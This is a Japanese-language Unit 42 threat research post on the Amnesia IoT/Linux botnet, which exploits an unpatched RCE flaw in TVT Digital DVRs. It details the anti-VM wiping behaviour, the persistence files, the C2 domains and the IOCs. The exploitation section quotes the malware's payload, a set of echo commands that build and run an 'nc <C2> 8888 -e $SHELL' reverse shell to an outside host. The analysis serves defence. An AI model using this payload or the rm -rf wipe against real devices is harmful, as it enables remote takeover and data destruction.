This post is also available in: English (英語)
概要
パロアルトネットワークスの脅威インテリジェンスチーム「Unit 42」は、新しい IoT/Linux ボットネット「Tsunami」の亜種である「Amnesia」を発見しました。Amnesia ボットネットによる攻撃は、TVT Digital 社ならびに TVT Digital 社から供給を受けた世界 70 以上のベンダーブランドによる DVR (デジタル ビデオ レコーダー) 機器に存在する、パッチを適用されていないリモートコード実行に関する脆弱性を狙います。
この脆弱性は、約1年前の 2016 年 3 月に公開されました。以下の図 1 に示すスキャンデータから、本脆弱性により世界中のおよそ 22 万 7 千台の機器が影響を受けていること、とりわけ台湾、アメリカ合衆国、イスラエル、トルコ、インドが最も無防備な状態なことが分かります。日本も比較的台数は少ないものの、影響を受けることが分かります。
Amnesia マルウェアは、マルウェア解析サンドボックスを避けるために仮想マシンの回避テクニックを採用した最初の Linux マルウェアであると考えられます。仮想マシン回避テクニックは、Windows やAndroid 用のマルウェアでは一般的に見られるものです。これらのマルウェア同様、Amnesia は自身が VirtualBox、VMware、QEMU などをベースにした仮想マシン上で実行されているかを見抜こうとします。仮想マシン上で実行されていることが分かると、ファイルシステム内のすべてのファイルを削除し、仮想 Linux システムを消去します。これにより Linux マルウェア分析サンドボックスだけでなく、VPS 上またはパブリッククラウド上で稼働する QEMU ベースの Linux サーバーも影響を受けます。
Amnesia は脆弱なシステムをスキャンし、場所を特定し、攻撃することで、本リモートコード実行脆弱性を悪用します。攻撃に成功すると Amnesia は対象機器を完全にコントロールします。攻撃者は 2016 年の秋に見られた Mirai によるボットネット攻撃のような大規模 DDoS 攻撃用に Amnesia ボットネットを利用する可能性が考えられます。
残念ながら 1 年以上前に公開されたにもかかわらず、本脆弱性の修正アップデートはありません。
これまでのところ Amnesia ボットネットにより大規模攻撃が仕掛けられたことはありませんが、Mirai ボットネットによる攻撃から、大規模 IoT 機器ボットネットの引き起こしかねない損害の大きさがわかります。パロアルトネットワークスではすべてのお客様に、最新の保護が適用されているかの確認をお勧めします。またパロアルトネットワークスのお客様かどうかにはかかわらず、本稿の痕跡(Indicator of Compromise または IOC)セクションの一覧に記載した Amnesia の C&C (C2) サーバーへのトラフィックは遮断すべきです。
技術的詳細
脆弱性の詳細
2016 年 3 月 22 日に、セキュリティ リサーチャー Rotem Kerner 氏が本脆弱性を一般公開しました。Kerner 氏のブログ によれば、世界中の 70 以上の DVR ベンダーが本脆弱性による影響を受けたとされています。しかし、これらの DVR 機器はすべて「TVT Digital」という会社で製造されていました。今日にいたるまで、TVT Digital 社、ベンダーのいずれからも本脆弱性を修正するパッチがリリースされた形跡は確認できません。
また「Cross Web Server」のフィンガープリントを使い、22 万 7 千台以上の TVT Digital 社製と推測される機器がインターネット上に無防備な状態で存在することも発見されました。さらに Shodan.io、Censys.io というキーワードで検索したところ、前者は 5 万個、後者は 70 万 5 千個の IP アドレスの検索結果が見つかりました。
表 1 に、本脆弱性に該当する可能性の高い TVT Digital 社製 DVR 機器が多い 20 カ国を示します:
1. | 台湾 | 47170 |
2. | アメリカ合衆国 | 44179 |
3. | イスラエル | 23355 |
4. | トルコ | 11780 |
5. | インド | 9796 |
6. | マレーシア | 9178 |
7. | メキシコ | 7868 |
8. | イタリア | 7439 |
9. | ベトナム | 6736 |
10. | 英国 | 4402 |
11. | ロシア | 3571 |
12. | ハンガリー | 3529 |
13. | フランス | 3165 |
14. | ブルガリア | 3040 |
15. | ルーマニア | 2783 |
16. | コロンビア | 2616 |
17. | エジプト | 2541 |
18. | カナダ | 2491 |
19. | イラン | 1965 |
20. | アルゼンチン | 1748 |
表 1 本脆弱性に該当する可能性のあるTVT Digital 社製 DVR 機器が多い 20 カ国
広がりと脆弱性の悪用
Amnesia は、C2 サーバーと IRC プロトコルで通信をします。図 2 に Amnesia が受信するように設計された一部コマンドを記載します。これらのコマンドにはさまざまな HTTP フラッド攻撃および UDP フラッド攻撃による DDoS 攻撃開始コマンドも含まれています。
こうしたコマンドに加え、別途CCTVSCANNER と CCTVPROCSという2 つのコマンドが実装されています。これらのコマンドは、TVT Digital 社製 DVR に含まれるリモートコード実行脆弱性の有無をスキャンし悪用します。コマンドを受信すると、Amnesia はまず、単純な HTTP リクエストをコマンドに含まれている IP アドレスに送信し、図 3 の通りに「Cross Web Server」という文字列が HTTP レスポンスのコンテンツに含まれているか検索し、対象となる DVR 機器の脆弱性を確認します。これは TVT Digital 社製 DVR ではこの文字列をサーバー名として HTTP ヘッダに使用しているからです。
脆弱性のある DVR が見つかると、Amnesia はさらに 4 つの異なるシェルコマンドからなるエクスプロイト用ペイロードを含む HTTP リクエストを送信します。そのコマンドは以下の通りです:
- echo “nc” > f
- echo “{one_of_c2_domains}” >> f
- echo “8888 –e $SHELL” >> f
- $(cat f) & > r
これらのコマンドはシェルスクリプトファイルを生成・実行します。このスクリプトの内容は Amnesia の C2 サーバーのいずれか 1 台に接続し、システムのデフォルトシェルを露出させることとなります。これで感染機器は無防備な状態になり、図 4 に示すように続く C2 サーバーからのシェル コマンドをリッスンします。
フォレンジック対策
図 5 に示すように、Amnesia のサンプルを実行すると、自身が仮想マシン内で実行されているかどうかを確認するため、ただちに /sys/class/dmi/id/product_name ファイルおよび /sys/class/dmi/id/sys_vendor ファイルを読み込み、これらのファイルの内容を「VirtualBox」「VMware」「QEMU」というキーワードと比較します。Linux DMI (デスクトップ マネジメント インタフェース) はこれら 2 つのファイルにハードウェア製品と製造者情報を格納しています。これらの文字列が DMI ファイルに含まれていれば、その Linux システムはそれぞれ VirtualBox、VMware、QEMU ベースの仮想マシン上で実行されているということになります。
仮想マシンであることが検出されると、Amnesia は自身を削除し、以下すべてのディレクトリを削除しようとします。:
- Linux のルートディレクトリ /
- カレントユーザのホームディレクトリ ~/
- カレントワーキングディレクトリ ./
これらの削除処理は基本的には全 Linux システムの削除と同等の意味を持ちます。これらは図 6 に示すように単純にシェル コマン「rm -rf」を実行するという方法で実装されています:各ディレクトリに対し、「rm」コマンドは 2 回、1 回はバックグラウンドで、もう 1 回はフォアグラウンドで実行されます。つまりこれら 3 つのディレクトリの削除は並行して行われます。最後に Amnesia は削除が完了するのを待ちます。
Amnesia の作成者は、Linux ベースのマルウェア分析サンドボックスを出し抜き、セキュリティ リサーチャーの分析を妨げようとしていました。コード的には何の意味もない「fxxkwhitehats」(くたばれ White Hat) という文字列がハードコードされていたことからも、作成者のそうした意図を伺い知ることができます。ただし、サンプルの分析は台無しになってしまうとしても、仮想マシンベースのサンドボックスは通常システムスナップショットが有効になっているため、すぐにもとの状態に復元することができます。つまり、こうしたケースでの影響は限られています。
本当に問題となるのは、マルウェアが VPS ベンダーから提供されている仮想ホストなどの QEMU ベースの Linux サーバーインスタンスに感染した場合で、その場合、Linux サーバー インスタンス自体も消去されてしまうため、バックアップが利用できないと悲惨な事態を招きかねない、という点です。
仮想マシンの確認後、Amnesia はカレント ユーザの権限の種類によって、/etc/init.d/.rebootime と /etc/cron.daily/.reboottime の組み合わせ、または ~/.bashrc および ~/.bash_history の組み合わせのどちらかに永続的に使用するファイルを生成します。その後、すべての Telnet および SSH 関連プロセスを Kill し、C2 サーバーに接続してさらにコマンドを受信します。
Amnesia は「irc.freenode[.]net」など 3 つのドメイン名をデコイの C2 サーバー アドレスとしてハードコードしています。しかしながら、本当の C2 設定は単純なシーザー暗号アルゴリズムによって実行時に復号されます。ここで以下の 3 つのサーバーのうちの 1 つが選択されます:
- ukranianhorseriding[.]net
- surrealzxc.co[.]za
- inversefierceapplied[.]pw
これら 3 つのドメイン名は 2016 年 12 月 1 日以降、すべて単一の IP アドレス 93.174.95[.]38 に解決されています。これ以前、当該 IP アドレスは DropPerl などべつの IoT/Linux マルウェアをホスティングするのにも使用されていました。
まとめ
Amnesia ボットネットには、それがもたらす脅威もさることながら、現在の IoT/Linux ボットネット脅威に関し、興味深く、注目に値する傾向が複数見られます。:
- IoT/Linux マルウェアが仮想マシンを回避し消去する古典的なテクニックを採用しはじめたこと。
- IoT/Linux マルウェアが IoT 機器の既知のリモートコード実行脆弱性を標的として攻撃していること。こうした機器が、典型的には中小メーカーが製造した製品であり、パッチが提供されていないかもしれないこと。
- IoT/Linux マルウェアが VPS 上またはパブリッククラウド上で稼働する Linux サーバーにも影響する場合があること。
Amnesia の場合、ハードコードされた C2 アドレスに依存しているので、これらのアドレスをできるかぎり迅速にかつ広範囲に遮断することで Mirai のような攻撃は防止することができます。
保護
パロアルトネットワークスでは、本マルウェアが C2 サーバーに使用しているドメインを PAN-DB と Threat Prevention によって遮断しました。
IOC
C2 ドメインおよび IP アドレス
- ukranianhorseriding[.]net
- surrealzxc.co[.]za
- inversefierceapplied[.]pw
- 93.174.95[.]38
Amnesia のサンプル SHA-256 値
- 06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374
- 10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653
- 175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575
- 1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a
- 2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22
- 327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e
- 37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af
- 3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96
- 4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54
- 46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b
- 4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0
- 4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8
- 5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c
- 64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707
- 6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3
- 6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b
- 885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09
- 886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0
- 8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243
- 9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb
- 9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2
- a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0
- ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8
- aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a
- b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815
- b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252
- b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545
- bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772
- c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902
- cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483
- ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3
- d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9
- e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082
- eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a
- f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583
- f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16
- f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729
- f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07
- f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8